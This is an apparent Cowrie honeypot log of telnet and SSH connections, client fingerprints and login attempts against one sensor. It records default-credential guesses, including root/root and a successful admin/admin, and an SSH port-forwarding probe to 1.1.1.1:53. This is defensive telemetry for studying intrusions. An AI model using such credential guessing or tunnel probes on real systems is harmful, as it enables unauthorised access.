{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56178,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb69e2536a35","protocol":"telnet","message":"New connection: 128.199.8.54:56178 (159.203.135.109:23) [session: eb69e2536a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:58.811705Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":56598,"dst_ip":"159.203.135.109","dst_port":23,"session":"76948066ce7e","protocol":"telnet","message":"New connection: 45.148.121.166:56598 (159.203.135.109:23) [session: 76948066ce7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:59.638449Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47110,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec01f45d808f","protocol":"ssh","message":"New connection: 2.57.122.208:47110 (159.203.135.109:22) [session: ec01f45d808f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:02.921006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:03.122120Z","src_ip":"2.57.122.208","session":"ec01f45d808f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:03.126052Z","src_ip":"2.57.122.208","session":"ec01f45d808f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.21250629425049,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:03.304384Z","src_ip":"45.148.121.166","session":"e54b770b96bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56634283065796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:04.397011Z","src_ip":"45.148.121.166","session":"8a571185c55f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:04.523561Z","src_ip":"2.57.122.208","session":"ec01f45d808f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.09459686279297,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:04.847191Z","src_ip":"128.199.8.54","session":"1d39a6ff9707","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:05.683070Z","src_ip":"2.57.122.208","session":"ec01f45d808f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.094284534454346,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:06.851490Z","src_ip":"128.199.8.54","session":"166c1abecea8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":60304,"dst_ip":"159.203.135.109","dst_port":23,"session":"e81ddcf64c75","protocol":"telnet","message":"New connection: 45.148.121.166:60304 (159.203.135.109:23) [session: e81ddcf64c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:07.529449Z"}
{"eventid":"cowrie.session.closed","duration":34.916117429733276,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:08.186587Z","src_ip":"128.199.8.54","session":"50660a0f9e21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.41847038269043,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:08.362447Z","src_ip":"128.199.8.54","session":"f85f8a3b4100","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.199801683425903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:09.521585Z","src_ip":"45.148.121.166","session":"3230577afce4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":60314,"dst_ip":"159.203.135.109","dst_port":23,"session":"95567ea3234c","protocol":"telnet","message":"New connection: 45.148.121.166:60314 (159.203.135.109:23) [session: 95567ea3234c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:10.799722Z"}
{"eventid":"cowrie.session.closed","duration":34.024675607681274,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:11.074406Z","src_ip":"128.199.8.54","session":"e1d212ff6e6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.83199977874756,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:12.053938Z","src_ip":"128.199.8.54","session":"4a1e745c6ef1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":60320,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2ff81cb9b29","protocol":"telnet","message":"New connection: 45.148.121.166:60320 (159.203.135.109:23) [session: a2ff81cb9b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:13.171940Z"}
{"eventid":"cowrie.session.closed","duration":118.63301301002502,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:15.678457Z","src_ip":"212.55.149.117","session":"1fd88296099e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42808771133423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:22.270846Z","src_ip":"45.148.121.166","session":"1b0236928847","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.09924054145813,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:22.285477Z","src_ip":"128.199.8.54","session":"9e3f2c0ef2aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":52838,"dst_ip":"159.203.135.109","dst_port":23,"session":"04559687755c","protocol":"telnet","message":"New connection: 45.148.121.166:52838 (159.203.135.109:23) [session: 04559687755c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:26.922986Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42330,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcc2c8526f11","protocol":"telnet","message":"New connection: 128.199.8.54:42330 (159.203.135.109:23) [session: dcc2c8526f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:27.206437Z"}
{"eventid":"cowrie.session.closed","duration":31.25244426727295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:30.890719Z","src_ip":"45.148.121.166","session":"76948066ce7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.59999394416809,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:32.411542Z","src_ip":"128.199.8.54","session":"eb69e2536a35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.18650484085083,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:34.343235Z","src_ip":"128.199.8.54","session":"fb7aff77bfb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49782,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eb5aa758c19","protocol":"telnet","message":"New connection: 128.199.8.54:49782 (159.203.135.109:23) [session: 1eb5aa758c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:37.438702Z"}
{"eventid":"cowrie.session.closed","duration":31.33882451057434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:38.868134Z","src_ip":"45.148.121.166","session":"e81ddcf64c75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25855565071106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:41.058149Z","src_ip":"45.148.121.166","session":"95567ea3234c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.139.199","src_port":6129,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eefeb35f717","protocol":"telnet","message":"New connection: 185.92.139.199:6129 (159.203.135.109:23) [session: 8eefeb35f717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:42.062250Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59670,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a4693439b19","protocol":"telnet","message":"New connection: 128.199.8.54:59670 (159.203.135.109:23) [session: 2a4693439b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:42.369423Z"}
{"eventid":"cowrie.session.closed","duration":31.101377487182617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:44.273232Z","src_ip":"45.148.121.166","session":"a2ff81cb9b29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":29188,"dst_ip":"10.17.0.5","dst_port":22,"session":"571217fc5839","protocol":"ssh","message":"New connection: 27.74.248.52:29188 (10.17.0.5:22) [session: 571217fc5839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:49.382522Z"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:49.951244Z","src_ip":"27.74.248.52","session":"571217fc5839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":29867,"dst_ip":"10.17.0.5","dst_port":22,"session":"860bf85f4850","protocol":"ssh","message":"New connection: 27.74.248.52:29867 (10.17.0.5:22) [session: 860bf85f4850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:50.525891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:50.530754Z","src_ip":"27.74.248.52","session":"860bf85f4850","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:51.096285Z","src_ip":"27.74.248.52","session":"860bf85f4850","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:52.756133Z","src_ip":"27.74.248.52","session":"860bf85f4850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:54.419756Z","src_ip":"27.74.248.52","session":"860bf85f4850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.687199354171753,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:54.749337Z","src_ip":"185.92.139.199","session":"8eefeb35f717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19034,"dst_ip":"10.17.0.5","dst_port":22,"session":"f307d01cac6a","protocol":"ssh","message":"New connection: 87.251.64.176:19034 (10.17.0.5:22) [session: f307d01cac6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:56.850760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:56.855825Z","src_ip":"87.251.64.176","session":"f307d01cac6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:56.952423Z","src_ip":"87.251.64.176","session":"f307d01cac6a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:57.242031Z","src_ip":"87.251.64.176","session":"f307d01cac6a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:57.341451Z","session":"f307d01cac6a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:57.441847Z","src_ip":"87.251.64.176","session":"f307d01cac6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.542241096496582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:57.465115Z","src_ip":"45.148.121.166","session":"04559687755c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:57.544369Z","src_ip":"87.251.64.176","session":"f307d01cac6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":38864,"dst_ip":"159.203.135.109","dst_port":23,"session":"48a19150a767","protocol":"telnet","message":"New connection: 45.148.121.166:38864 (159.203.135.109:23) [session: 48a19150a767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:14:59.941442Z"}
{"eventid":"cowrie.session.closed","duration":34.66007685661316,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:01.866429Z","src_ip":"128.199.8.54","session":"dcc2c8526f11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":38872,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfec1634e29e","protocol":"telnet","message":"New connection: 45.148.121.166:38872 (159.203.135.109:23) [session: cfec1634e29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:03.482258Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":46748,"dst_ip":"159.203.135.109","dst_port":23,"session":"2939286c32c2","protocol":"telnet","message":"New connection: 45.148.121.166:46748 (159.203.135.109:23) [session: 2939286c32c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:06.543854Z"}
{"eventid":"cowrie.session.closed","duration":32.938077449798584,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:10.377511Z","src_ip":"128.199.8.54","session":"1eb5aa758c19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39154,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ff48b758010","protocol":"telnet","message":"New connection: 128.199.8.54:39154 (159.203.135.109:23) [session: 5ff48b758010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:13.783553Z"}
{"eventid":"cowrie.session.closed","duration":35.14855456352234,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:17.517846Z","src_ip":"128.199.8.54","session":"2a4693439b19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49644,"dst_ip":"159.203.135.109","dst_port":23,"session":"328a169b67e4","protocol":"telnet","message":"New connection: 128.199.8.54:49644 (159.203.135.109:23) [session: 328a169b67e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:19.789186Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55866,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd164560bf46","protocol":"telnet","message":"New connection: 128.199.8.54:55866 (159.203.135.109:23) [session: bd164560bf46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:21.802501Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":47118,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1dd642b125d","protocol":"telnet","message":"New connection: 45.148.121.166:47118 (159.203.135.109:23) [session: c1dd642b125d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:27.272013Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41524,"dst_ip":"159.203.135.109","dst_port":23,"session":"94ad7da55144","protocol":"telnet","message":"New connection: 128.199.8.54:41524 (159.203.135.109:23) [session: 94ad7da55144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:28.320770Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":47124,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a93df3ceb01","protocol":"telnet","message":"New connection: 45.148.121.166:47124 (159.203.135.109:23) [session: 9a93df3ceb01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:28.464674Z"}
{"eventid":"cowrie.session.closed","duration":30.28200340270996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:30.223378Z","src_ip":"45.148.121.166","session":"48a19150a767","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52818,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aebeaa23c60","protocol":"telnet","message":"New connection: 128.199.8.54:52818 (159.203.135.109:23) [session: 2aebeaa23c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:34.089859Z"}
{"eventid":"cowrie.session.closed","duration":30.891581296920776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:34.373711Z","src_ip":"45.148.121.166","session":"cfec1634e29e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":47134,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6d41f4bedcf","protocol":"telnet","message":"New connection: 45.148.121.166:47134 (159.203.135.109:23) [session: e6d41f4bedcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:34.611200Z"}
